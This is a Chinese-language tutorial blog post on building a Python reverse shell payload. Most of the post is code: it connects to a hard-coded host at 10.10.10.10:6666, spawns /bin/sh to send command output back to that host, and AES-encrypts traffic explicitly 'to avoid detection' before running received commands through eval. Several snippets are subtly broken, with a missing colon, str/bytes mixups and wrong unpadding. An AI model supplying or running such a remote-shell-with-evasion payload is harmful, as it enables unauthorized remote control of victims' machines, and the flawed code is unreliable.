Python中的逆向Shell Payload实现技巧

2023-04-17 00:00:00 python 技巧逆向

Python中的逆向Shell Payload主要是通过socket连接实现，具体实现技巧如下：

创建socket连接

首先需要创建socket连接，使用socket库中的socket函数即可：

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('10.10.10.10', 6666))

其中AF_INET表示使用IPv4协议，SOCK_STREAM表示使用TCP连接，('10.10.10.10', 6666)是连接目标主机和端口号。

接收和发送数据

接收和发送数据都是使用socket连接上的send和recv函数，具体实现如下：

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('10.10.10.10', 6666))

data = sock.recv(1024)  # 接收1024字节数据
sock.sendall('Hello World!')  # 发送数据

创建子进程并执行shell命令

为了执行Shell命令，需要创建一个子进程来执行。在Linux系统中可以使用os库中的fork函数创建子进程，然后使用subprocess库中的Popen函数执行Shell命令。具体代码如下：

import os
import subprocess
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('10.10.10.10', 6666))

pid = os.fork()  # 创建子进程
if pid == 0:  # 子进程
    cmd = subprocess.Popen('/bin/sh', shell=True, stdin=subprocess.PIPE,
                           stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output, error = cmd.communicate()  # 执行Shell命令并获取输出
    sock.sendall(output)  # 发送输出到远程主机
else:  # 父进程
    data = sock.recv(1024)

加密payload

为了防止被检测，需要对payload进行加密。可以使用AES等加密算法进行加密操作。具体实现如下：

from Crypto.Cipher import AES
import base64

def encrypt(data)
    key = '1234567890abcdef'  # 加密密钥
    cipher = AES.new(key, AES.MODE_CBC, key)
    length = 16 - (len(data) % 16)
    data += chr(length) * length  # 补全数据长度
    return base64.b64encode(cipher.encrypt(data))  # 加密并进行base64编码

def decrypt(enc_data):
    key = '1234567890abcdef'  # 加密密钥
    cipher = AES.new(key, AES.MODE_CBC, key)
    data = base64.b64decode(enc_data)
    return cipher.decrypt(data).rstrip('\x00')

加密后的payload可以使用exec和eval等函数进行执行。具体代码演示如下：

import os
import subprocess
import socket
from Crypto.Cipher import AES
import base64

def encrypt(data):
    key = '1234567890abcdef'  # 加密密钥
    cipher = AES.new(key, AES.MODE_CBC, key)
    length = 16 - (len(data) % 16)
    data += chr(length) * length  # 补全数据长度
    return base64.b64encode(cipher.encrypt(data))  # 加密并进行base64编码

def decrypt(enc_data):
    key = '1234567890abcdef'  # 加密密钥
    cipher = AES.new(key, AES.MODE_CBC, key)
    data = base64.b64decode(enc_data)
    return cipher.decrypt(data).rstrip('\x00')

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('10.10.10.10', 6666))

pid = os.fork()  # 创建子进程
if pid == 0:  # 子进程
    enc_cmd = sock.recv(1024)  # 接收加密后的命令
    cmd = decrypt(enc_cmd)  # 解密命令
    output = eval(cmd)  # 执行命令
    sock.sendall(encrypt(output))  # 发送输出到远程主机
else:  # 父进程
    cmd = "print('pidancode.com')"
    enc_cmd = encrypt(cmd)  # 加密命令
    sock.sendall(enc_cmd)  # 发送加密后的命令
    data = sock.recv(1024)  # 接收输出
    output = decrypt(data)  # 解密输出
    print(output)

以上代码演示了如何加密payload并使用eval函数执行。实际使用中需要按照具体情况进行调整。

相关文章